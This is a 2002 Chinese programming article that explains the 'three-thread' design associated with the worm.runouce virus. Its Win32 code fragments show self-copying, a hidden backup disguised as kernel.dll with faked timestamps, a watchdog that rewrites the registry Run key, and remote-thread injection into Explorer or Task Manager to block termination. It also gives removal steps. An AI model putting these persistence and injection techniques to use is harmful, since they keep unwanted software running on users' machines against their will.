来源:http://www.vckbase.com/document/viewdoc/?id=754
浅析三线程程序开发思路与实现Author: TOo2y [原创]
E-mail:
Brief@safechina.net
Homepage:
www.safechina.net &
http://fz5fz.yeah.net
Date: 11-27-2002
源代码1:三线程诱鼠器源代码
作者注:
谨以此文纪念在“11.27”惨案中殉难的红岩烈士们!
一、前言
中国黑客(worm.runouce)病毒在国内出现以后,各大反病毒公司都对其进行了“仔细”的分析,得出一个结论:“中国黑客”发现了全球首创的“三
线程”结构。这是金*公司对外的宣传词,我个人对病毒没什么研究,并且我对worm.runouce没有任何的个人看法,不过我可以确信的是很多反病毒公
司往往在夸大事实,目的只有一个:让更多的用户觉得某某病毒很可怕,让更多的用户相信只有某某公司的杀毒软件才可以彻底将病毒清除掉。其实三线程并没有好
高深的技术,不过ideal is wonderful。现在就让我们一步步揭开三线程程序开发的神秘面纱。
二、三线程程序开发思路
在操作系统中,进程是存储器,外设等资源的分配单位,同时也是处理器调度的对象,但为了提高进程内的并发性,windows系统中引入了线程这个概念(在
很多其他操作系统中同样也有线程的概念,由于在2001年微软停止了window9x内核的研发,所以本文只针对windowx2000/xp操作系
统),这时系统把线程作为处理器调度的对象,一个进程可以同时拥有多个并发的线程。通常情况下的简单程序就只有一个主线程,它是在进程创建时自动生成的。
我们可以将想要执行的代码放在主线程里,然后再生成两个辅助线程,它们的功能就是实现对程序的保护功能,防止程序被用户关闭或删除。在此,称我们的可执行
文件的进程为主进程。
主线程需要完成的任务有三个,它们分别是准备工作,创建辅助线程和程序主要功能的实现。准备工作当然是为程序运行过程中所需要的一些部件做好准备,其中包
括文件复制和保存,一般情况下是把可执行文件复制到系统目录下。当然为了防止意外删除,我们可以将程序的可执行文件备份,不过要注意修改一些属性(文件类
型,大小,日期,属性),这样就不容易被发现与我们的可执行文件有关联了。创建辅助线程包括两个线程,一个驻留在主进程体内,另一个通过创建远程线程驻留
到其他正在运行的进程体内。这两个线程的功能就是监视其他进程或线程的运行情况,如果出现异常立即恢复。程序的主要功能就不用多说了,想干什么就干什么,
一般是一些不想让用户关闭的程序。
驻留主进程体内的线程同时观察注册表和远程进程的情况。它实时查询注册表里
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run键下相关可执行文
件的键值,如果被删除就立即将其添加上。这就是对注册表的实时监视,使得每次开机时都会运行我们的可执行文件。而另一个功能则是监视驻留在远程进程体内辅
助线程的运行情况,如果该线程被关闭,立即通过创建远程线程将被关闭的线程驻留到特定的进程内。如果你知道了辅助线程是驻留在那个进程内的,你就可以将这
个远程进程关闭掉。但是我们还是可以将辅助线程驻留到其他的远程进程内。至于选定哪个远程进程,完全视你的心情而定。
驻留在远程进程体内的辅助线程则监视主进程的运行情况,如果主进程被kill了,它会确认程序的可执行文件是否也被删除掉了。如果系统目录下的可执行文件
不存在了,则用我们备份的文件恢复可执行文件,然后再重新启动程序,这样你在任务管理器里怎么也删除不了主进程。由于我们是创建远程线程,所以必须把线程
的代码和线程所需要的参数都复制到远程进程的地址空间里。这是因为在windows2000/xp环境下,访问其他进程地址空间是违规的。我们把代码和参
数复制过去后,线程就完全在远程进程的地址空间运行了。我们可以看到,通过两个辅助线程,就很难把主进程关闭或删除掉。
现在我们就以一个诱鼠器为例,来分析三线程的程序结构,如下图:
|---------->-----------|
remote ---<--- T-mouse --->--- watch --->--- Registry
|------------------<--------------------|
其中T-mouse为主进程/主线程,remote为创建的远程线程,watch为本地的辅助监视线程,Registry为注册表文件。T-mouse创
建remote和watch两个线程,remote监视T-mouse主进程,watch监视注册表文件和remote线程。
三、核心代码分析
本文的程序仅针对windows2000/xp操作系统,程序中使用的UNICODE编码。测试环境:Windows2000
+ SP2 + VC6.0。整个程序分主线程main,本地辅助监视线程watch,远程线程remote,还包括获得进程ID的processtopid和创建远程线程的createremote两个自定义函数。
1.主线程:main
GetSystemDirectory(syspath,MAX_PATH);
//获得操作系统的系统目录;
FindFirstFile(tname,&fdata);
//查询系统目录下的T-mouse.exe是否存在;
CopyFile(curname,tname,TRUE);
//如果系统目录下没有,在将正在运行的程序复制到系统目录下;
FindClose(ffhandle);
//在查询完毕后,关闭相关句柄;
CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//打开系统目录下的备份文件kernel.dll;
SetFileTime(fchandle,&ftime,NULL,&ftime);
//修改kernel.dll的创建时间,修改时间;
SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
//设置kernel.dll的属性为只读,系统及隐藏;
CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
//创建驻留在主进程内的辅助监视线程
2.本地辅助监视线程:watch
RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
//以查询方式打开注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run;
RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
//查询是否存在T-mouse的键值;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
//如果没有相关键值,就以写方式再次打开注册表;
RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
//写入我们想要的东西,系统每次启动都会运行我们的可执行文件;
GetExitCodeThread(wethread,&exitcode);
//获得远程线程的运行情况,看是否为STILL_ACTIVE,如果不是则创建远程线程;
3.远程线程:remote
tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
//以所有可能的访问方式打开主进程,以便监视主进程的运行情况;
tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
//等待直到主进程结束;
tWinExec(erp->rpwinexecname, 0);
//重新启动我们的可执行文件;
4.获得进程ID:processtopid
EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
//列举所有的进程
OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
//以查询信息和读取的方式打开进程
EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
//获得进程模块的句柄
GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
//获得特定模块的名字,以备比较
5.创建远程线程:createremote
OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
//PROCESS_CREATE_THREAD for CreateRemoteThread
//PROCESS_VM_OPERATION for VirtualAllocEx
//PROCESS_VM_WRITE for WriteProcessMemory
VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//在远程进程中分配空间,以备将线程代码置入其中;
WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
//将远程线程remote的代码写入到远程进程的地址空间中
WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
//将远程线程所需的参数也写入到远程进程的地址空间中
CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
//创建远程监视线程
四、小结与后记
我们已经看到,创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视,如果监视对象被关闭了,就重新创建线程或进程。其实,在
程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe。在通常情况下,如果用户知道了远程线程的驻体为资源管理器后,就会打
开任务管理器来结束Explorer,这时我们再把远程线程驻入到任务管理器中。也就是说,只要Explorer或Taskmgr有一个存在,就不可能结
束主进程。如果有其他Kill进程的工具,你就可以将其关闭掉,只要资源管理器和任务管理器均不存在时,就没有驻体来维持远程进程。不过,如果我们选择的
远程进程为随机的,这就不容易发现了;如果我们选择的远程进程为系统文件(如smss.exe会话管理器),那么你是不会安全的结束远程线程,除非系统崩
溃。
如何不用其他的工具将其关闭并删除呢?你也可以进入到DOS或Safe模式下,将系统目录下的可执行文件删除,然后重启系统。这时,就不会自动运行程序
了,然后将注册表里RUN键下的相关键值,系统目录下的备份文件及首次运行的可执行文件删除就彻底清楚了。在调试程序时,为了对远程线程的运行情况有所了
解,我们使用了工具Dbgview.exe。
关于:
FZ5FZ,我们主要从事网络/系统安全的学习与研究,深入编程技术的剖析与探讨,坚持原创,追求共享。
FZ5FZ 主页:http://fz5fz.yeah.net